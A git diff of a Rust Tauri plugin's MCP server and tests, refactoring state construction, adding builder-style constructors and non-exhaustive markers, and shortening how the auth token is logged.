filmstrip; +pub(crate) mod filmstrip; /// Output redaction for API keys, tokens, emails, and sensitive JSON keys. +/// +/// Public because [`privacy::PrivacyConfig::redactor`] exposes a [`redaction::Redactor`]. pub mod redaction; +/// Screencast ring buffer backing the `trace` tool. +/// +/// Internal: public only because [`VictauriState::screencast`] is. Not part of +/// the supported API. +#[doc(hidden)] pub mod screencast; pub(crate) mod screenshot; mod tools; @@ -126,9 +141,18 @@ const MAX_EVAL_TIMEOUT_SECS: u64 = 300; /// Map of pending JavaScript eval callbacks, keyed by request ID. /// Each entry holds a oneshot sender that resolves when the webview returns a result. +/// +/// Internal plumbing (the type of [`VictauriState::pending_evals`]); not part of +/// the supported API. +#[doc(hidden)] pub type PendingCallbacks = Arc>>>; /// Runtime state shared between the MCP server and all tool handlers. +/// +/// Built by the plugin at setup; apps reach it via +/// `app.try_state::>()` (see [`register_commands!`]). +/// `#[non_exhaustive]`: new state can be added without a breaking release. +#[non_exhaustive] pub struct VictauriState { /// Ring-buffer event log for IPC calls, state changes, and DOM mutations. pub event_log: EventLog, @@ -184,6 +208,47 @@ pub struct VictauriState { pub probes: introspection::AppStateProbes, } +impl VictauriState { + /// A standalone state with test-friendly defaults, for driving the MCP + /// router (`mcp::build_app*`) without a Tauri runtime. + /// + /// Defaults: 1000-event log and recorder, port 0, default (full-control) + /// privacy, 30 s eval timeout, bridge already marked ready, no db search + /// paths or probes. All fields are `pub`, so adjust any of them on the + /// returned value before wrapping it in an `Arc`. + /// + /// Not part of the supported API — it exists so out-of-crate tests can build + /// the (`#[non_exhaustive]`) state. + #[doc(hidden)] + #[must_use] + pub fn for_tests() -> Self { + Self { + event_log: EventLog::new(1000), + registry: CommandRegistry::new(), + port: AtomicU16::new(0), + pending_evals: Arc::new(Mutex::new(HashMap::new())), + recorder: EventRecorder::new(1000), + privacy: privacy::PrivacyConfig::default(), + eval_timeout: std::time::Duration::from_secs(30), + shutdown_tx: watch::channel(false).0, + started_at: std::time::Instant::now(), + tool_invocations: AtomicU64::new(0), + allow_file_navigation: false, + command_timings: introspection::CommandTimings::new(), + fault_registry: introspection::FaultRegistry::new(), + contract_store: introspection::ContractStore::new(), + startup_timeline: introspection::StartupTimeline::new(), + event_bus: introspection::EventBusMonitor::default(), + task_tracker: introspection::TaskTracker::new(), + bridge_ready: AtomicBool::new(true), + bridge_notify: tokio::sync::Notify::new(), + screencast: Arc::new(screencast::Screencast::default()), + db_search_paths: Vec::new(), + probes: introspection::AppStateProbes::default(), + } + } +} + /// Builder for configuring the Victauri plugin before adding it to a Tauri app. /// /// Supports port selection, authentication, privacy controls, output redaction, @@ -810,12 +875,13 @@ impl VictauriBuilder { .mark("event_bus_listeners_registered"); if let Some(ref token) = auth_token { - let prefix_len = token.len().min(8); - let suffix_start = token.len().saturating_sub(4); + // Char-based (never byte-sliced: a configured token may hold + // multi-byte chars) and deliberately short — the log is not a + // place for recoverable token material. + let prefix: String = token.chars().take(4).collect(); tracing::info!( - "Victauri MCP server auth enabled — token: {}…{}", - &token[..prefix_len], - &token[suffix_start..] + "Victauri MCP server auth enabled — token: {prefix}… ({} chars)", + token.chars().count() ); } else { tracing::warn!( diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 3c0b8291..89b6eb82 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -841,11 +841,8 @@ impl VictauriMcpHandler { Err(e) => return tool_error(format!("expression did not return valid JSON: {e}")), }; - let assertion = victauri_core::SemanticAssertion { - label: params.label, - condition: params.condition, - expected: params.expected, - }; + let assertion = + victauri_core::SemanticAssertion::new(params.label, params.condition, params.expected); let result = victauri_core::evaluate_assertion(actual, &assertion); json_result(&result) @@ -3699,6 +3696,7 @@ impl VictauriMcpHandler { timestamp, mutation_count, webview_label, + .. } => serde_json::json!({ "time": timestamp.to_rfc3339_opts( chrono::SecondsFormat::Millis, true @@ -3725,6 +3723,7 @@ impl VictauriMcpHandler { timestamp, key, caused_by, + .. } => serde_json::json!({ "time": timestamp.to_rfc3339_opts( chrono::SecondsFormat::Millis, true @@ -3739,6 +3738,7 @@ impl VictauriMcpHandler { timestamp, level, message, + .. } => serde_json::json!({ "time": timestamp.to_rfc3339_opts( chrono::SecondsFormat::Millis, true @@ -3750,6 +3750,7 @@ impl VictauriMcpHandler { timestamp, label, event, + .. } => serde_json::json!({ "time": timestamp.to_rfc3339_opts( chrono::SecondsFormat::Millis, true @@ -6295,15 +6296,15 @@ mod command_policy_dispatch_tests { } fn ipc_event(command: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: format!("c-{command}"), - command: command.to_string(), - timestamp: chrono::Utc::now(), - duration_ms: Some(1), - result: IpcResult::Ok(json!(true)), - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + format!("c-{command}"), + command.to_string(), + chrono::Utc::now(), + IpcResult::Ok(json!(true)), + Some(1), + 0, + "main".to_string(), + )) } fn result_text(r: &CallToolResult) -> String { @@ -6412,16 +6413,16 @@ mod command_policy_dispatch_tests { let state = state_with(blocking(&["wipe_database"])); let h = VictauriMcpHandler::new(state, Arc::new(bridge.clone())); - let session = RecordedSession { - id: "poisoned".to_string(), - started_at: chrono::Utc::now(), - events: vec![RecordedEvent { - index: 0, - timestamp: chrono::Utc::now(), - event: ipc_event("wipe_database"), - }], - checkpoints: Vec::new(), - }; + let session = RecordedSession::new( + "poisoned".to_string(), + chrono::Utc::now(), + vec![RecordedEvent::new( + 0, + chrono::Utc::now(), + ipc_event("wipe_database"), + )], + Vec::new(), + ); let session_json = serde_json::to_string(&session).unwrap(); let imp = call( @@ -6553,12 +6554,12 @@ mod command_policy_dispatch_tests { let state = state_with(PrivacyConfig::default()); state.recorder.start("live".to_string()).unwrap(); let h = VictauriMcpHandler::new(state.clone(), Arc::new(RecordingBridge::default())); - let session = RecordedSession { - id: "other".to_string(), - started_at: chrono::Utc::now(), - events: Vec::new(), - checkpoints: Vec::new(), - }; + let session = RecordedSession::new( + "other".to_string(), + chrono::Utc::now(), + Vec::new(), + Vec::new(), + ); let r = call( &h, "recording", @@ -6815,18 +6816,16 @@ mod screenshot_visibility_tests { use victauri_core::{CommandRegistry, EventLog, EventRecorder, WindowState}; fn window(label: &str, visible: bool) -> WindowState { - WindowState { - label: label.to_string(), - title: label.to_string(), - url: "http://localhost/".to_string(), - visible, - focused: false, - maximized: false, - minimized: false, - fullscreen: false, - position: (0, 0), - size: (800, 600), - } + WindowState::new(label.to_string()) + .with_title(label.to_string()) + .with_url("http://localhost/".to_string()) + .with_visible(visible) + .with_focused(false) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(0, 0) + .with_size(800, 600) } /// A bridge with a configurable window set that RECORDS the label `get_native_handle` diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 5d872c60..3b30cfe6 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -938,7 +938,7 @@ pub fn parse_bridge_event(ev: &serde_json::Value) -> Option Option { @@ -955,73 +955,67 @@ pub fn parse_bridge_event_from( .unwrap_or_else(Utc::now); let app_event = match event_type { - "console" => AppEvent::Console { - level: ev - .get("level") + "console" => AppEvent::console( + ev.get("level") .and_then(|l| l.as_str()) .unwrap_or("log") .to_string(), - message: ev - .get("message") + ev.get("message") .and_then(|m| m.as_str()) .unwrap_or("") .to_string(), - timestamp: now, - }, - "dom_mutation" => AppEvent::DomMutation { - webview_label: label.to_string(), - timestamp: now, - mutation_count: ev - .get("count") + now, + ), + "dom_mutation" => AppEvent::dom_mutation( + label.to_string(), + now, + ev.get("count") .and_then(serde_json::Value::as_u64) .unwrap_or(0) as u32, - }, + ), "ipc" => { let cmd = ev .get("command") .and_then(|c| c.as_str()) .unwrap_or("unknown"); - AppEvent::Ipc(victauri_core::IpcCall { - id: uuid::Uuid::new_v4().to_string(), - command: cmd.to_string(), - timestamp: now, - result: match ev.get("status").and_then(|s| s.as_str()) { + AppEvent::Ipc(victauri_core::IpcCall::new( + uuid::Uuid::new_v4().to_string(), + cmd.to_string(), + now, + match ev.get("status").and_then(|s| s.as_str()) { Some("ok") => victauri_core::IpcResult::Ok(serde_json::Value::Null), Some("error") => victauri_core::IpcResult::Err("error".to_string()), _ => victauri_core::IpcResult::Pending, }, - duration_ms: ev - .get("duration_ms") + ev.get("duration_ms") .and_then(serde_json::Value::as_f64) .map(|d| d as u64), - arg_size_bytes: ev - .get("arg_size_bytes") + ev.get("arg_size_bytes") .and_then(serde_json::Value::as_u64) .map_or(0, |n| usize::try_from(n).unwrap_or(usize::MAX)), - webview_label: label.to_string(), - }) + label.to_string(), + )) } - "network" => AppEvent::StateChange { - key: format!( + "network" => AppEvent::state_change( + format!( "network.{}", ev.get("method").and_then(|m| m.as_str()).unwrap_or("GET") ), - timestamp: now, - caused_by: ev - .get("url") + now, + ev.get("url") .and_then(|u| u.as_str()) .map(std::string::ToString::to_string), - }, - "navigation" => AppEvent::WindowEvent { - label: label.to_string(), - event: format!( + ), + "navigation" => AppEvent::window_event( + label.to_string(), + format!( "navigation.{}", ev.get("nav_type") .and_then(|n| n.as_str()) .unwrap_or("unknown") ), - timestamp: now, - }, + now, + ), "dom_interaction" => { let action_str = ev.get("action").and_then(|a| a.as_str()).unwrap_or("click"); let action = match action_str { @@ -1034,20 +1028,18 @@ pub fn parse_bridge_event_from( "scroll" => victauri_core::InteractionKind::Scroll, _ => victauri_core::InteractionKind::Click, }; - AppEvent::DomInteraction { + AppEvent::dom_interaction( action, - selector: ev - .get("selector") + ev.get("selector") .and_then(|s| s.as_str()) .unwrap_or("body") .to_string(), - value: ev - .get("value") + ev.get("value") .and_then(|v| v.as_str()) .map(std::string::ToString::to_string), - timestamp: now, - webview_label: label.to_string(), - } + now, + label.to_string(), + ) } _ => return None, }; diff --git a/crates/victauri-plugin/src/privacy.rs b/crates/victauri-plugin/src/privacy.rs index 452de7d7..348f1cf7 100644 --- a/crates/victauri-plugin/src/privacy.rs +++ b/crates/victauri-plugin/src/privacy.rs @@ -13,6 +13,7 @@ use crate::redaction::Redactor; /// | `Test` | Yes | Yes | Storage writes | No | /// | `FullControl` | Yes | Yes | Yes | Yes | #[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +#[non_exhaustive] pub enum PrivacyProfile { /// Read-only observation. Snapshots, logs, registry, accessibility, performance, /// window state — but no clicks, no input, no eval, no screenshots, no mutations. @@ -42,7 +43,11 @@ impl std::fmt::Display for PrivacyProfile { /// overrides: command allowlists/blocklists, per-tool disabling, and output redaction. /// /// **Precedence:** explicit `disabled_tools` overrides → profile matrix → allowlist/blocklist. +/// +/// `#[non_exhaustive]`: start from [`PrivacyConfig::default()`] (or one of the +/// profile presets) and assign the `pub` fields you need. #[derive(Default)] +#[non_exhaustive] pub struct PrivacyConfig { /// The active privacy profile tier. pub profile: PrivacyProfile, @@ -150,7 +155,9 @@ impl PrivacyConfig { /// Naming convention: standalone tools use bare names (`"eval_js"`), compound tool /// actions use dot-qualified names (`"window.manage"`, `"input.fill"`). /// -/// Everything not explicitly listed defaults to allowed (open-world for new tools). +/// `FullControl` allows everything. `Test` and `Observe` are **deny-by-default**: +/// only the tools/actions explicitly listed for that profile are allowed, so a new +/// tool stays blocked under them until it is added here. #[must_use] fn is_allowed_by_profile(profile: PrivacyProfile, tool_or_action: &str) -> bool { match profile { @@ -289,6 +296,7 @@ fn is_allowed_by_profile(profile: PrivacyProfile, tool_or_action: &str) -> bool /// Create a [`PrivacyConfig`] for the `Observe` profile with redaction enabled. #[must_use] +#[doc(hidden)] pub fn observe_privacy_config() -> PrivacyConfig { PrivacyConfig { profile: PrivacyProfile::Observe, @@ -303,6 +311,7 @@ pub fn observe_privacy_config() -> PrivacyConfig { /// Create a [`PrivacyConfig`] for the `Test` profile with redaction enabled. #[must_use] +#[doc(hidden)] pub fn test_privacy_config() -> PrivacyConfig { PrivacyConfig { profile: PrivacyProfile::Test, @@ -320,6 +329,7 @@ pub fn test_privacy_config() -> PrivacyConfig { /// This is an alias for [`observe_privacy_config()`] — strict mode maps to the /// `Observe` profile. #[must_use] +#[doc(hidden)] pub fn strict_privacy_config() -> PrivacyConfig { observe_privacy_config() } diff --git a/crates/victauri-plugin/src/screencast.rs b/crates/victauri-plugin/src/screencast.rs index e24e230c..5bb0a242 100644 --- a/crates/victauri-plugin/src/screencast.rs +++ b/crates/victauri-plugin/src/screencast.rs @@ -12,6 +12,7 @@ pub const MAX_TRACE_BYTES: usize = 256 * 1024 * 1024; /// A single captured frame: milliseconds since trace start + base64 PNG. #[derive(Debug, Clone, serde::Serialize)] +#[non_exhaustive] pub struct TraceFrame { /// Milliseconds since the trace started. pub t_ms: u64, diff --git a/crates/victauri-plugin/tests/common/mod.rs b/crates/victauri-plugin/tests/common/mod.rs index 5ff9e9bb..5c7c8c36 100644 --- a/crates/victauri-plugin/tests/common/mod.rs +++ b/crates/victauri-plugin/tests/common/mod.rs @@ -1,10 +1,8 @@ #![allow(dead_code)] -use std::collections::HashMap; use std::sync::Arc; -use tokio::sync::Mutex; -use victauri_core::{CommandRegistry, EventLog, EventRecorder, WindowState}; +use victauri_core::WindowState; use victauri_plugin::VictauriState; use victauri_plugin::bridge::WebviewBridge; @@ -54,17 +52,17 @@ fn extract_probe_id(script: &str) -> Option { pub fn make_windows(labels: &[&str]) -> Vec { labels .iter() - .map(|label| WindowState { - label: label.to_string(), - title: format!("{label} title"), - url: format!("http://localhost/{label}"), - visible: true, - focused: labels.first() == Some(label), - maximized: false, - minimized: false, - fullscreen: false, - position: (0, 0), - size: (800, 600), + .map(|label| { + WindowState::new(label.to_string()) + .with_title(format!("{label} title")) + .with_url(format!("http://localhost/{label}")) + .with_visible(true) + .with_focused(labels.first() == Some(label)) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(0, 0) + .with_size(800, 600) }) .collect() } @@ -72,30 +70,7 @@ pub fn make_windows(labels: &[&str]) -> Vec { // ── Test State Constructor ───────────────────────────────────────────────── pub fn test_state() -> Arc { - Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: victauri_plugin::privacy::PrivacyConfig::default(), - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), - }) + Arc::new(VictauriState::for_tests()) } // ── SimpleMockBridge ─────────────────────────────────────────────────────── @@ -182,17 +157,17 @@ impl WebviewBridge for RejectingMockBridge { self.labels .iter() .filter(|l| label.is_none() || label == Some(l.as_str())) - .map(|l| WindowState { - label: l.clone(), - title: format!("{l} title"), - url: format!("http://localhost/{l}"), - visible: true, - focused: l == "main", - maximized: false, - minimized: false, - fullscreen: false, - position: (0, 0), - size: (800, 600), + .map(|l| { + WindowState::new(l.clone()) + .with_title(format!("{l} title")) + .with_url(format!("http://localhost/{l}")) + .with_visible(true) + .with_focused(l == "main") + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(0, 0) + .with_size(800, 600) }) .collect() } diff --git a/crates/victauri-plugin/tests/deep_adversarial_tests.rs b/crates/victauri-plugin/tests/deep_adversarial_tests.rs index 20374d9d..bf094065 100644 --- a/crates/victauri-plugin/tests/deep_adversarial_tests.rs +++ b/crates/victauri-plugin/tests/deep_adversarial_tests.rs @@ -1,11 +1,9 @@ mod common; -use std::collections::{HashMap, HashSet}; +use std::collections::HashSet; use std::sync::Arc; use serde_json::json; -use tokio::sync::Mutex; -use victauri_core::{CommandRegistry, EventLog, EventRecorder}; use victauri_plugin::VictauriState; use victauri_plugin::bridge::WebviewBridge; use victauri_plugin::mcp::build_app_stateful; @@ -34,17 +32,17 @@ impl CallbackMockBridge { Self { windows: labels .iter() - .map(|label| victauri_core::WindowState { - label: label.to_string(), - title: format!("{label} Window"), - url: "http://localhost/".to_string(), - visible: true, - focused: labels.first() == Some(label), - maximized: false, - minimized: false, - fullscreen: false, - position: (100, 100), - size: (800, 600), + .map(|label| { + victauri_core::WindowState::new(label.to_string()) + .with_title(format!("{label} Window")) + .with_url("http://localhost/".to_string()) + .with_visible(true) + .with_focused(labels.first() == Some(label)) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(100, 100) + .with_size(800, 600) }) .collect(), pending_evals, @@ -131,29 +129,10 @@ impl WebviewBridge for CallbackMockBridge { // ═══════════════════════════════════════════════════════════════════════════ fn make_state_with_privacy(privacy: PrivacyConfig) -> Arc { - Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy, - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), + Arc::new({ + let mut s = VictauriState::for_tests(); + s.privacy = privacy; + s }) } @@ -977,9 +956,10 @@ async fn privacy_command_blocklist_blocks_invoke() { async fn privacy_command_allowlist_restricts_invoke() { let mut allow = HashSet::new(); allow.insert("greet".to_string()); - let config = PrivacyConfig { - command_allowlist: Some(allow), - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.command_allowlist = Some(allow); + c }; let state = make_state_with_privacy(config); let base = start_callback_server(state, &["main"], |_| "\"ok\"".to_string()).await; @@ -1006,10 +986,11 @@ async fn privacy_blocklist_wins_over_allowlist() { allow.insert("save_key".to_string()); let mut block = HashSet::new(); block.insert("save_key".to_string()); - let config = PrivacyConfig { - command_allowlist: Some(allow), - command_blocklist: block, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.command_allowlist = Some(allow); + c.command_blocklist = block; + c }; let state = make_state_with_privacy(config); let base = start_callback_server(state, &["main"], |_| "\"ok\"".to_string()).await; @@ -1031,9 +1012,10 @@ async fn privacy_blocklist_wins_over_allowlist() { #[tokio::test] async fn privacy_redaction_scrubs_eval_output() { - let config = PrivacyConfig { - redaction_enabled: true, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.redaction_enabled = true; + c }; let state = make_state_with_privacy(config); let base = start_callback_server(state, &["main"], |_| { @@ -1248,9 +1230,10 @@ async fn privacy_disable_all_tools() { for tool in &all_tools { disabled.insert(tool.to_string()); } - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let state = make_state_with_privacy(config); let base = start_server(state, &["main"]).await; @@ -1284,9 +1267,10 @@ async fn privacy_disabled_tool_also_disabled_in_rest_listing() { let mut disabled = HashSet::new(); disabled.insert("eval_js".to_string()); disabled.insert("screenshot".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let state = make_state_with_privacy(config); let base = start_server(state, &["main"]).await; @@ -1319,9 +1303,10 @@ async fn privacy_disabled_tool_also_disabled_in_rest_listing() { #[tokio::test] async fn privacy_redaction_on_rest_api() { - let config = PrivacyConfig { - redaction_enabled: true, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.redaction_enabled = true; + c }; let state = make_state_with_privacy(config); let base = start_callback_server(state, &["main"], |_| { diff --git a/crates/victauri-plugin/tests/integration_tests.rs b/crates/victauri-plugin/tests/integration_tests.rs index 467566c7..f1bd13a9 100644 --- a/crates/victauri-plugin/tests/integration_tests.rs +++ b/crates/victauri-plugin/tests/integration_tests.rs @@ -1,14 +1,11 @@ mod common; -use std::collections::{HashMap, HashSet}; +use std::collections::HashSet; use std::sync::Arc; use chrono::Utc; -use tokio::sync::Mutex; -use victauri_core::{ - AppEvent, CommandInfo, CommandRegistry, EventLog, EventRecorder, IpcCall, IpcResult, -}; +use victauri_core::{AppEvent, CommandInfo, EventLog, EventRecorder, IpcCall, IpcResult}; use victauri_plugin::VictauriState; use victauri_plugin::bridge::WebviewBridge; use victauri_plugin::mcp::{ @@ -40,17 +37,17 @@ impl CallbackMockBridge { Self { windows: labels .iter() - .map(|label| victauri_core::WindowState { - label: label.to_string(), - title: format!("{label} Window"), - url: "http://localhost/".to_string(), - visible: true, - focused: labels.first() == Some(label), - maximized: false, - minimized: false, - fullscreen: false, - position: (100, 100), - size: (800, 600), + .map(|label| { + victauri_core::WindowState::new(label.to_string()) + .with_title(format!("{label} Window")) + .with_url("http://localhost/".to_string()) + .with_visible(true) + .with_focused(labels.first() == Some(label)) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(100, 100) + .with_size(800, 600) }) .collect(), pending_evals, @@ -270,15 +267,15 @@ fn sample_command(name: &str) -> CommandInfo { } fn sample_ipc_call(command: &str, result: IpcResult) -> IpcCall { - IpcCall { - id: uuid::Uuid::new_v4().to_string(), - command: command.to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), + IpcCall::new( + uuid::Uuid::new_v4().to_string(), + command.to_string(), + Utc::now(), result, - arg_size_bytes: 42, - webview_label: "main".to_string(), - } + Some(5), + 42, + "main".to_string(), + ) } // ── Handler construction tests ────────────────────────────────────────────── @@ -1496,29 +1493,10 @@ async fn mcp_read_unknown_resource_fails() { #[tokio::test] async fn state_port_reflected_in_info() { - let state = Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(9999), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: PrivacyConfig::default(), - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), + let state = Arc::new({ + let mut s = VictauriState::for_tests(); + s.port = std::sync::atomic::AtomicU16::new(9999); + s }); let bridge: Arc = Arc::new(SimpleMockBridge::new(&["main"])); @@ -1570,29 +1548,12 @@ fn builder_default_port() { #[test] fn builder_custom_port_reflected_in_state() { - let state = Arc::new(VictauriState { - event_log: EventLog::new(500), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(8888), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(500), - privacy: PrivacyConfig::default(), - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), + let state = Arc::new({ + let mut s = VictauriState::for_tests(); + s.event_log = EventLog::new(500); + s.port = std::sync::atomic::AtomicU16::new(8888); + s.recorder = EventRecorder::new(500); + s }); assert_eq!(state.port.load(std::sync::atomic::Ordering::Relaxed), 8888); @@ -1675,11 +1636,11 @@ async fn ipc_replay_sequence_returns_only_ipc() { state .recorder .record_event(AppEvent::Ipc(sample_ipc_call("cmd1", IpcResult::Pending))); - state.recorder.record_event(AppEvent::WindowEvent { - label: "main".to_string(), - event: "focus".to_string(), - timestamp: Utc::now(), - }); + state.recorder.record_event(AppEvent::window_event( + "main".to_string(), + "focus".to_string(), + Utc::now(), + )); state .recorder .record_event(AppEvent::Ipc(sample_ipc_call("cmd2", IpcResult::Pending))); @@ -1839,29 +1800,10 @@ fn generate_token_produces_valid_uuid() { // ── Privacy integration tests ───────────────────────────────────────────── fn privacy_state(config: PrivacyConfig) -> Arc { - Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: config, - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), + Arc::new({ + let mut s = VictauriState::for_tests(); + s.privacy = config; + s }) } @@ -1929,9 +1871,10 @@ async fn privacy_disabled_tools_hidden_from_list() { disabled.insert("screenshot".to_string()); disabled.insert("inject_css".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let base = start_privacy_test_server(config, &["main"]).await; @@ -1980,9 +1923,10 @@ async fn privacy_disabled_tool_call_rejected() { let mut disabled = HashSet::new(); disabled.insert("eval_js".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let base = start_privacy_test_server(config, &["main"]).await; @@ -2057,9 +2001,10 @@ async fn privacy_strict_mode_disables_dangerous_tools() { async fn privacy_info_shows_privacy_mode() { let mut disabled = HashSet::new(); disabled.insert("eval_js".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let base = start_privacy_test_server(config, &["main"]).await; @@ -4538,17 +4483,9 @@ async fn rest_get_plugin_info_returns_version() { #[tokio::test] async fn rest_get_registry_returns_json_result() { let state = test_state(); - state.registry.register(CommandInfo { - name: "test_cmd".to_string(), - plugin: None, - description: Some("A test command".to_string()), - args: vec![], - return_type: None, - is_async: false, - intent: None, - category: None, - examples: vec![], - }); + state + .registry + .register(CommandInfo::new("test_cmd").with_description("A test command")); let base = start_test_server(state, &["main"]).await; let client = reqwest::Client::new(); diff --git a/crates/victauri-plugin/tests/stress_tests.rs b/crates/victauri-plugin/tests/stress_tests.rs index db969912..a00f7ff9 100644 --- a/crates/victauri-plugin/tests/stress_tests.rs +++ b/crates/victauri-plugin/tests/stress_tests.rs @@ -1,15 +1,10 @@ mod common; -use std::collections::HashMap; use std::sync::Arc; -use tokio::sync::Mutex; - -use victauri_core::{CommandRegistry, EventLog, EventRecorder}; use victauri_plugin::VictauriState; use victauri_plugin::bridge::WebviewBridge; use victauri_plugin::mcp::{build_app_full, build_app_stateful}; -use victauri_plugin::privacy::PrivacyConfig; use common::SimpleMockBridge; @@ -32,17 +27,17 @@ impl CallbackMockBridge { Self { windows: labels .iter() - .map(|label| victauri_core::WindowState { - label: label.to_string(), - title: format!("{label} Window"), - url: "http://localhost/".to_string(), - visible: true, - focused: labels.first() == Some(label), - maximized: false, - 